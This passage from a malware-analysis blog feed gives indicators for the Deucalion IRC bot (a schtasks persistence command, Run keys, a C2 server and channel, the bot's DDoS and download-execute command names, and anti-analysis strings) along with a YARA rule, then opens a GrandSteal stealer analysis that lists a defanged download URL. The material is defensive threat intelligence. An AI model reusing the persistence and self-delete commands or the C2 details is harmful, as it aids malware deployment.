https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjv6cWuwjDpHWUq6-WiDas1AYoHEprlODzcMnDaOyvOPr8r25g5cQzWVytYHpLkrk1WxEqU6xGZsks1LYROI_ohvss2P5OWDJwcR1u1fU1uIVeuz9Nrq18rjMt4jnzO-SzpoyI-4h2WDNg/s400/dump_deobfuscated_data.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjv6cWuwjDpHWUq6-WiDas1AYoHEprlODzcMnDaOyvOPr8r25g5cQzWVytYHpLkrk1WxEqU6xGZsks1LYROI_ohvss2P5OWDJwcR1u1fU1uIVeuz9Nrq18rjMt4jnzO-SzpoyI-4h2WDNg/s400/dump_deobfuscated_data.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjv6cWuwjDpHWUq6-WiDas1AYoHEprlODzcMnDaOyvOPr8r25g5cQzWVytYHpLkrk1WxEqU6xGZsks1LYROI_ohvss2P5OWDJwcR1u1fU1uIVeuz9Nrq18rjMt4jnzO-SzpoyI-4h2WDNg/s400/dump_deobfuscated_data.png" width="400" height="208" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjv6cWuwjDpHWUq6-WiDas1AYoHEprlODzcMnDaOyvOPr8r25g5cQzWVytYHpLkrk1WxEqU6xGZsks1LYROI_ohvss2P5OWDJwcR1u1fU1uIVeuz9Nrq18rjMt4jnzO-SzpoyI-4h2WDNg/s400/dump_deobfuscated_data.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:208,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjv6cWuwjDpHWUq6-WiDas1AYoHEprlODzcMnDaOyvOPr8r25g5cQzWVytYHpLkrk1WxEqU6xGZsks1LYROI_ohvss2P5OWDJwcR1u1fU1uIVeuz9Nrq18rjMt4jnzO-SzpoyI-4h2WDNg/s400/dump_deobfuscated_data.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjv6cWuwjDpHWUq6-WiDas1AYoHEprlODzcMnDaOyvOPr8r25g5cQzWVytYHpLkrk1WxEqU6xGZsks1LYROI_ohvss2P5OWDJwcR1u1fU1uIVeuz9Nrq18rjMt4jnzO-SzpoyI-4h2WDNg/s400/dump_deobfuscated_data.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjv6cWuwjDpHWUq6-WiDas1AYoHEprlODzcMnDaOyvOPr8r25g5cQzWVytYHpLkrk1WxEqU6xGZsks1LYROI_ohvss2P5OWDJwcR1u1fU1uIVeuz9Nrq18rjMt4jnzO-SzpoyI-4h2WDNg/s400/dump_deobfuscated_data.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjv6cWuwjDpHWUq6-WiDas1AYoHEprlODzcMnDaOyvOPr8r25g5cQzWVytYHpLkrk1WxEqU6xGZsks1LYROI_ohvss2P5OWDJwcR1u1fU1uIVeuz9Nrq18rjMt4jnzO-SzpoyI-4h2WDNg/s400/dump_deobfuscated_data.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p>In the previous capture, a pointer to an string used by the jit generated code is followed to the memory region where the data resides. The base of the region is got with the command !address, and dumped to disk with .writemem. Now it is possible to use sysinternals' strings.exe to get <a href="https://pastebin.com/T244r7bn">the strings into the dumped data</a>.</p><h2>2. Deucalion / Alpha Ircbot</h2><h3>2.1. IoCs</h3><ul><li><p>schtasks.exe /create /sc minute /mo 1 /tn "Dec&lt;computer user name&gt;" /tr &lt;sample path&gt;</p></li><li><p>SOFTWARE\Microsoft\Windows\CurrentVersion\Run</p></li><li><p>SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce</p></li><li><p>ngt.fun&nbsp; -&gt; irc server</p></li><li><p>#paradox&nbsp; -&gt; irc channel</p></li><li><p>http://ip-api.com/line/&nbsp; -&gt; to get ip info</p></li><li><p>List of deobfuscated strings:&nbsp;<a href="https://pastebin.com/T244r7bn">https://pastebin.com/T244r7bn</a></p></li></ul><h3></h3><h3>2.2. Unpacked strings</h3><p> This is the list of unpacked strings:</p><h3>2.3. Malware characteristics</h3><p>Taking a look at the deobfuscated strings we can guess some characteristics of the malware.</p><h4>2.3.1. Irc server, channel and communications</h4><p><br> Bots connect ngt.fun:1928 (80.82.64.205:1928) irc server. This is a capture of the irc channel. The user KiloAlpha sends commands for the bots:<br><br><br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgv5DgL68eGk41WB2mFL6nQ29ewt-g9Rs0Ubnv3yOOarFrMyjlA7ZUIVten-9sBn9PnkweUJ8Mbj7BmihwmA2bt_4lcqRdi9uvbXmM2TKMklXVSaxry5Ks94u6yqwXX4_bTnNMM279M1Lw/s400/irc_channel.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgv5DgL68eGk41WB2mFL6nQ29ewt-g9Rs0Ubnv3yOOarFrMyjlA7ZUIVten-9sBn9PnkweUJ8Mbj7BmihwmA2bt_4lcqRdi9uvbXmM2TKMklXVSaxry5Ks94u6yqwXX4_bTnNMM279M1Lw/s400/irc_channel.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgv5DgL68eGk41WB2mFL6nQ29ewt-g9Rs0Ubnv3yOOarFrMyjlA7ZUIVten-9sBn9PnkweUJ8Mbj7BmihwmA2bt_4lcqRdi9uvbXmM2TKMklXVSaxry5Ks94u6yqwXX4_bTnNMM279M1Lw/s400/irc_channel.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgv5DgL68eGk41WB2mFL6nQ29ewt-g9Rs0Ubnv3yOOarFrMyjlA7ZUIVten-9sBn9PnkweUJ8Mbj7BmihwmA2bt_4lcqRdi9uvbXmM2TKMklXVSaxry5Ks94u6yqwXX4_bTnNMM279M1Lw/s400/irc_channel.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgv5DgL68eGk41WB2mFL6nQ29ewt-g9Rs0Ubnv3yOOarFrMyjlA7ZUIVten-9sBn9PnkweUJ8Mbj7BmihwmA2bt_4lcqRdi9uvbXmM2TKMklXVSaxry5Ks94u6yqwXX4_bTnNMM279M1Lw/s400/irc_channel.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgv5DgL68eGk41WB2mFL6nQ29ewt-g9Rs0Ubnv3yOOarFrMyjlA7ZUIVten-9sBn9PnkweUJ8Mbj7BmihwmA2bt_4lcqRdi9uvbXmM2TKMklXVSaxry5Ks94u6yqwXX4_bTnNMM279M1Lw/s400/irc_channel.png" width="400" height="271" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgv5DgL68eGk41WB2mFL6nQ29ewt-g9Rs0Ubnv3yOOarFrMyjlA7ZUIVten-9sBn9PnkweUJ8Mbj7BmihwmA2bt_4lcqRdi9uvbXmM2TKMklXVSaxry5Ks94u6yqwXX4_bTnNMM279M1Lw/s400/irc_channel.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:271,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgv5DgL68eGk41WB2mFL6nQ29ewt-g9Rs0Ubnv3yOOarFrMyjlA7ZUIVten-9sBn9PnkweUJ8Mbj7BmihwmA2bt_4lcqRdi9uvbXmM2TKMklXVSaxry5Ks94u6yqwXX4_bTnNMM279M1Lw/s400/irc_channel.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgv5DgL68eGk41WB2mFL6nQ29ewt-g9Rs0Ubnv3yOOarFrMyjlA7ZUIVten-9sBn9PnkweUJ8Mbj7BmihwmA2bt_4lcqRdi9uvbXmM2TKMklXVSaxry5Ks94u6yqwXX4_bTnNMM279M1Lw/s400/irc_channel.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgv5DgL68eGk41WB2mFL6nQ29ewt-g9Rs0Ubnv3yOOarFrMyjlA7ZUIVten-9sBn9PnkweUJ8Mbj7BmihwmA2bt_4lcqRdi9uvbXmM2TKMklXVSaxry5Ks94u6yqwXX4_bTnNMM279M1Lw/s400/irc_channel.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgv5DgL68eGk41WB2mFL6nQ29ewt-g9Rs0Ubnv3yOOarFrMyjlA7ZUIVten-9sBn9PnkweUJ8Mbj7BmihwmA2bt_4lcqRdi9uvbXmM2TKMklXVSaxry5Ks94u6yqwXX4_bTnNMM279M1Lw/s400/irc_channel.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br><br> Here is the list of commands (extracted from deobfuscated strings) that the CnC can send to the bots:<br><br><br></p><ul><li><p>BOTKILLER</p></li><li><p>HTTP</p></li><li><p>DRAIN</p></li><li><p>HTTPSTRONG</p></li><li><p>HTTPNULL</p></li><li><p>POST</p></li><li><p>SMARTBYPASS</p></li><li><p>HTTPBYPASS</p></li><li><p>STOPALL</p></li><li><p>STOP</p></li><li><p>PAGEHTTP</p></li><li><p>DOWNLOAD_EXECUTE</p></li><li><p>UPDATE</p></li><li><p>COOKIE</p></li><li><p>HTTPKILL</p></li><li><p>REFERER</p></li><li><p>BLAZING</p></li><li><p>BACKEND</p></li><li><p>INFORMATION</p></li><li><p>LIST</p></li><li><p>STATUS</p></li><li><p>RNHTTP</p></li><li><p>TCP</p></li><li><p>UDP</p></li><li><p>GAMETCP</p></li><li><p>GAMEUDP</p></li><li><p>KILL</p></li><li><p>SAY</p></li><li><p>GEO</p></li><li><p>SPLITPERCENT</p></li><li><p>SPLITCPU</p></li><li><p>SPLITGEOk</p></li></ul><p><br>I would say the bot does not perform too much checks to verify the origin of the command, I have not tried but I would bet it would be possible to inject commands to the bots.</p><h4>2.3.2. Reversing tools detection</h4><ul><li><p>vboxservice</p></li><li><p>wireshark</p></li><li><p>fidderl</p></li><li><p>charles</p></li><li><p>cheat</p></li><li><p>dnspy</p></li><li><p>megadump</p></li><li><p>olly</p></li><li><p>hack</p></li><li><p>de4dot</p></li><li><p>tcpdump</p></li><li><p>sniffer</p></li><li><p>sandbox</p></li><li><p>vmtool</p></li><li><p>ida</p></li><li><p>\dnSpy\dnSpy.xml</p></li><li><p>SELECT * FROM AntiVirusProduct</p></li></ul><h3>2.4. Yara rule</h3><pre><code>       
rule deucalion {
strings:
        $s1="schtasks.exe" wide ascii
        $s2="/delete /tn \"{0}\" /F" wide ascii
        $s3="/create /sc minute /mo 1 /tn \"{0}\" /tr \"{1}\"" wide ascii
        $s4="cmd.exe" wide ascii
        $s5="/C ping 1.1.1.1 -n 3 -w 3000 &gt; Nul &amp; Del \"{0}\"" wide ascii
        $s6="BOTKILLER" wide ascii
        $s7="HTTP" wide ascii
        $s8="DRAIN" wide ascii
        $s9="HTTPSTRONG" wide ascii
        $s10="HTTPNULL" wide ascii
        $s11="POST" wide ascii
        $s12="SMARTBYPASS" wide ascii
        $s13="HTTPBYPASS" wide ascii
        $s14="STOPALL" wide ascii
        $s15="STOP" wide ascii
        $s16="PAGEHTTP" wide ascii
        $s17="DOWNLOAD_EXECUTE" wide ascii
        $s18="UPDATE" wide ascii
        $s19="COOKIE" wide ascii
        $s20="HTTPKILL" wide ascii
        $s21="REFERER" wide ascii
        $s22="BLAZING" wide ascii
        $s23="BACKEND" wide ascii
        $s24="INFORMATION" wide ascii
        $s25="LIST" wide ascii
        $s26="STATUS" wide ascii
        $s27="RNHTTP" wide ascii
        $s28="GAMETCP" wide ascii
        $s29="GAMEUDP" wide ascii
        $s30="SPLITPERCENT" wide ascii
        $s31="SPLITCPU" wide ascii
        $s32="| CORES: {0} | RAM: {1} GB | FLOODS RUNNING: {2} | ANTI VIRUS: {3} | COUNTRY: {4} | DEUCALION: {5} IRC |" wide ascii
        $s33="config\\machine.config" wide ascii
condition:
        (29 of them)
}
</code></pre>]]></content:encoded></item><item><title><![CDATA[Analysis of .Net Stealer GrandSteal (2019-03-18)]]></title><description><![CDATA[In this post I share my notes about the analysis of a sample (an stealer written in .Net) whose family is unknown to me (any feedback is welcome, if you know the family for the sample that I describe, please tell me and I will update this post).]]></description><link>https://www.peppermalware.com/p/analysis-of-net-stealer-grandsteal-2019</link><guid isPermaLink="false">https://www.peppermalware.com/p/analysis-of-net-stealer-grandsteal-2019</guid><dc:creator><![CDATA[PepperMalware]]></dc:creator><pubDate>Sat, 23 Mar 2019 03:29:00 GMT</pubDate><enclosure url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtWhmImkQlgcjVFYaFBMRU2VV_jlx_jFsh1amFx8G6S2uX5yYyS6fBpTFtcUNP32TwaCSVZIiFGvscGisuBmufAEQMuSWnUdec5OIMyOrXMjhmxGXabjY6X9zHEDmHlSOtd_6bbR3CPHk/s1600/assemblies.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In this post I share my notes about the analysis of a sample (an stealer written in .Net) whose family is unknown to me (any feedback is welcome, if you know the family for the sample that I describe, please tell me and I will update this post). Somebody tagged the sample as quasar at Any.Run, however, after analyzing it and comparing with Quasar code, I concluded this sample doesn't seem to belong to Quasar family. Searching information about the collected IoCs was not successful to classify the sample. I am calling it GrandSteal because of the internal names of the .Net classes of the malware's decompiled code.<br><br> <br></p><ul><li><p><strong>Original Packed Sample:</strong>&nbsp;<a href="https://www.virustotal.com/gui/file/ffee8c0daad6b88b91ae8f12c4564a9a7986fc55497cacf09732737893e0c186/detection">89782B6CDAAAB7848D544255D5FE7002</a></p></li><li><p><strong>Source Url:&nbsp;</strong>http://a4.doshimotai[.]ru/pxpx.exe</p></li><li><p><strong>Info Url:</strong>&nbsp;<a href="http://vxvault.net/ViriFiche.php?ID=40586">VxVault</a>&nbsp;<a href="https://urlhaus.abuse.ch/url/162114/">URLhaus</a></p></li><li><p><strong>Automatic Generated Report:&nbsp;</strong><a href="http://sandbox.peppermalware.com/publicreport/?filter=89782b6cdaaab7848d544255d5fe7002&amp;action=showpdf">PepperMalware Report</a></p></li><li><p><strong>Virustotal First Submission:</strong>&nbsp;2019-03-18 22:28:20</p></li><li><p><strong>Any.Run Analysis: </strong><a href="https://any.run/report/95c912f7acead0967b333abd58de1b0de741304eb1fe6e4e33def5741774c756/e3a6fb38-99e0-49f7-8778-99749c9c5f01">Here</a></p></li><li><p><strong>Any.Run Tags: </strong>Evasion, Trojan, Rat, Quasar</p></li><li><p><strong>My Classification: </strong>I named it GrandSteal because of the internal .Net classes names (if you have any information about any well-known family that this malware belongs to, please, tell me and I will update this post)</p></li><li><p><strong>Decompiled Source Code: </strong><a href="https://github.com/p3pperp0tts/malware_decompiled_code/tree/master/GrandSteal">PepperMalware Github</a></p></li></ul><h2>Analysis</h2><ul><li><p>1. Loader</p></li><li><p>2. Unpacked Modules</p><ul><li><p>2.1. List of Unpacked Modules</p></li><li><p>2.2. Stealer</p><ul><li><p>2.2.1. Chromium Stealer</p><ul><li><p>2.2.1.1. Cookies</p></li><li><p>2.2.1.2.&nbsp;Credentials</p></li><li><p>2.2.1.3.&nbsp;Autofills</p></li><li><p>2.2.1.4.&nbsp;Credit Cards</p></li></ul></li><li><p>2.2.2. Wallets Stealer</p></li><li><p>2.2.3. Files From Personal Directories Stealer</p></li><li><p>2.2.4. Discord Software Stealer</p></li><li><p>2.2.5. FileZilla Stealer</p></li><li><p>2.2.6. Gecko Stealer</p></li><li><p>2.2.7. RDP Stealer</p></li><li><p>2.2.8. Telegram Stealer</p></li></ul></li></ul></li><li><p>3. Yara Rule</p></li><li><p>4. Strings of the Main Unpacked Module</p></li></ul><h3>1. Loader</h3><ul><li><p>The sample is not signed.</p></li><li><p>Version Info:</p></li><li><ul><li><p>Product Symantec&#169; 2019</p></li><li><p>Description pxpx.exe</p></li><li><p>Original Name pxpx.exe</p></li><li><p>Internal Name pxpx.exe</p></li><li><p>File Version 7.1.0.0</p></li><li><p>Comments Symantec Application</p></li></ul></li><li><p>The loader module is a .Net executable that is obfuscated with&nbsp;<a href="https://yck1509.github.io/ConfuserEx/2016/07/01/confuserex-v10-released">ConfuserEx v1.0.0</a>&nbsp;</p></li></ul><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIuJxo0zK0_m5NFMXBjvm_DDlkMRn6L2kaV48ScRN46HEsJqyHIvHf5rUIm1ry2Jo7DS7zUJJpecHzd8-kHkT8JF2Uonfccpklh7rXqku0Y1p4rTg1aJSVNrg5x8DJO4tviasK5UWjI-4/s400/loader.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIuJxo0zK0_m5NFMXBjvm_DDlkMRn6L2kaV48ScRN46HEsJqyHIvHf5rUIm1ry2Jo7DS7zUJJpecHzd8-kHkT8JF2Uonfccpklh7rXqku0Y1p4rTg1aJSVNrg5x8DJO4tviasK5UWjI-4/s400/loader.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIuJxo0zK0_m5NFMXBjvm_DDlkMRn6L2kaV48ScRN46HEsJqyHIvHf5rUIm1ry2Jo7DS7zUJJpecHzd8-kHkT8JF2Uonfccpklh7rXqku0Y1p4rTg1aJSVNrg5x8DJO4tviasK5UWjI-4/s400/loader.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIuJxo0zK0_m5NFMXBjvm_DDlkMRn6L2kaV48ScRN46HEsJqyHIvHf5rUIm1ry2Jo7DS7zUJJpecHzd8-kHkT8JF2Uonfccpklh7rXqku0Y1p4rTg1aJSVNrg5x8DJO4tviasK5UWjI-4/s400/loader.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIuJxo0zK0_m5NFMXBjvm_DDlkMRn6L2kaV48ScRN46HEsJqyHIvHf5rUIm1ry2Jo7DS7zUJJpecHzd8-kHkT8JF2Uonfccpklh7rXqku0Y1p4rTg1aJSVNrg5x8DJO4tviasK5UWjI-4/s400/loader.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIuJxo0zK0_m5NFMXBjvm_DDlkMRn6L2kaV48ScRN46HEsJqyHIvHf5rUIm1ry2Jo7DS7zUJJpecHzd8-kHkT8JF2Uonfccpklh7rXqku0Y1p4rTg1aJSVNrg5x8DJO4tviasK5UWjI-4/s400/loader.png" width="400" height="77" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIuJxo0zK0_m5NFMXBjvm_DDlkMRn6L2kaV48ScRN46HEsJqyHIvHf5rUIm1ry2Jo7DS7zUJJpecHzd8-kHkT8JF2Uonfccpklh7rXqku0Y1p4rTg1aJSVNrg5x8DJO4tviasK5UWjI-4/s400/loader.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:77,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIuJxo0zK0_m5NFMXBjvm_DDlkMRn6L2kaV48ScRN46HEsJqyHIvHf5rUIm1ry2Jo7DS7zUJJpecHzd8-kHkT8JF2Uonfccpklh7rXqku0Y1p4rTg1aJSVNrg5x8DJO4tviasK5UWjI-4/s400/loader.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIuJxo0zK0_m5NFMXBjvm_DDlkMRn6L2kaV48ScRN46HEsJqyHIvHf5rUIm1ry2Jo7DS7zUJJpecHzd8-kHkT8JF2Uonfccpklh7rXqku0Y1p4rTg1aJSVNrg5x8DJO4tviasK5UWjI-4/s400/loader.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIuJxo0zK0_m5NFMXBjvm_DDlkMRn6L2kaV48ScRN46HEsJqyHIvHf5rUIm1ry2Jo7DS7zUJJpecHzd8-kHkT8JF2Uonfccpklh7rXqku0Y1p4rTg1aJSVNrg5x8DJO4tviasK5UWjI-4/s400/loader.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIuJxo0zK0_m5NFMXBjvm_DDlkMRn6L2kaV48ScRN46HEsJqyHIvHf5rUIm1ry2Jo7DS7zUJJpecHzd8-kHkT8JF2Uonfccpklh7rXqku0Y1p4rTg1aJSVNrg5x8DJO4tviasK5UWjI-4/s400/loader.png 1456w" sizes="100vw" fetchpriority="high"></picture><div></div></div></a><h3>2. Unpacked Modules</h3><h4>2.1. List of Unpacked Modules</h4><p> Once we have executed the sample into the VM, we can check with Windbg that the malware unpacks a set of modules in memory:</p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk-Mf8_zelmVNNID7wT9i3u9Jk2vbvVv0h1Ra-p-X-5otYRfP7HbVCEVdyw_CuYrjMe5_AgvKTAx64rZv9pO3zMr-TKGCvTV7MpAA-6S0Sp6Mg5PvIU0VdacoLHZAazXG5poThSyLnvDA/s400/modules.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk-Mf8_zelmVNNID7wT9i3u9Jk2vbvVv0h1Ra-p-X-5otYRfP7HbVCEVdyw_CuYrjMe5_AgvKTAx64rZv9pO3zMr-TKGCvTV7MpAA-6S0Sp6Mg5PvIU0VdacoLHZAazXG5poThSyLnvDA/s400/modules.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk-Mf8_zelmVNNID7wT9i3u9Jk2vbvVv0h1Ra-p-X-5otYRfP7HbVCEVdyw_CuYrjMe5_AgvKTAx64rZv9pO3zMr-TKGCvTV7MpAA-6S0Sp6Mg5PvIU0VdacoLHZAazXG5poThSyLnvDA/s400/modules.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk-Mf8_zelmVNNID7wT9i3u9Jk2vbvVv0h1Ra-p-X-5otYRfP7HbVCEVdyw_CuYrjMe5_AgvKTAx64rZv9pO3zMr-TKGCvTV7MpAA-6S0Sp6Mg5PvIU0VdacoLHZAazXG5poThSyLnvDA/s400/modules.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk-Mf8_zelmVNNID7wT9i3u9Jk2vbvVv0h1Ra-p-X-5otYRfP7HbVCEVdyw_CuYrjMe5_AgvKTAx64rZv9pO3zMr-TKGCvTV7MpAA-6S0Sp6Mg5PvIU0VdacoLHZAazXG5poThSyLnvDA/s400/modules.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk-Mf8_zelmVNNID7wT9i3u9Jk2vbvVv0h1Ra-p-X-5otYRfP7HbVCEVdyw_CuYrjMe5_AgvKTAx64rZv9pO3zMr-TKGCvTV7MpAA-6S0Sp6Mg5PvIU0VdacoLHZAazXG5poThSyLnvDA/s400/modules.png" width="400" height="116" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk-Mf8_zelmVNNID7wT9i3u9Jk2vbvVv0h1Ra-p-X-5otYRfP7HbVCEVdyw_CuYrjMe5_AgvKTAx64rZv9pO3zMr-TKGCvTV7MpAA-6S0Sp6Mg5PvIU0VdacoLHZAazXG5poThSyLnvDA/s400/modules.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:116,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk-Mf8_zelmVNNID7wT9i3u9Jk2vbvVv0h1Ra-p-X-5otYRfP7HbVCEVdyw_CuYrjMe5_AgvKTAx64rZv9pO3zMr-TKGCvTV7MpAA-6S0Sp6Mg5PvIU0VdacoLHZAazXG5poThSyLnvDA/s400/modules.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk-Mf8_zelmVNNID7wT9i3u9Jk2vbvVv0h1Ra-p-X-5otYRfP7HbVCEVdyw_CuYrjMe5_AgvKTAx64rZv9pO3zMr-TKGCvTV7MpAA-6S0Sp6Mg5PvIU0VdacoLHZAazXG5poThSyLnvDA/s400/modules.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk-Mf8_zelmVNNID7wT9i3u9Jk2vbvVv0h1Ra-p-X-5otYRfP7HbVCEVdyw_CuYrjMe5_AgvKTAx64rZv9pO3zMr-TKGCvTV7MpAA-6S0Sp6Mg5PvIU0VdacoLHZAazXG5poThSyLnvDA/s400/modules.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk-Mf8_zelmVNNID7wT9i3u9Jk2vbvVv0h1Ra-p-X-5otYRfP7HbVCEVdyw_CuYrjMe5_AgvKTAx64rZv9pO3zMr-TKGCvTV7MpAA-6S0Sp6Mg5PvIU0VdacoLHZAazXG5poThSyLnvDA/s400/modules.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p> After dumping these executables to disk we check that most of them are .Net executables, that we can decompile with dnSpy:</p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtWhmImkQlgcjVFYaFBMRU2VV_jlx_jFsh1amFx8G6S2uX5yYyS6fBpTFtcUNP32TwaCSVZIiFGvscGisuBmufAEQMuSWnUdec5OIMyOrXMjhmxGXabjY6X9zHEDmHlSOtd_6bbR3CPHk/s1600/assemblies.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtWhmImkQlgcjVFYaFBMRU2VV_jlx_jFsh1amFx8G6S2uX5yYyS6fBpTFtcUNP32TwaCSVZIiFGvscGisuBmufAEQMuSWnUdec5OIMyOrXMjhmxGXabjY6X9zHEDmHlSOtd_6bbR3CPHk/s1600/assemblies.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtWhmImkQlgcjVFYaFBMRU2VV_jlx_jFsh1amFx8G6S2uX5yYyS6fBpTFtcUNP32TwaCSVZIiFGvscGisuBmufAEQMuSWnUdec5OIMyOrXMjhmxGXabjY6X9zHEDmHlSOtd_6bbR3CPHk/s1600/assemblies.png 848w, 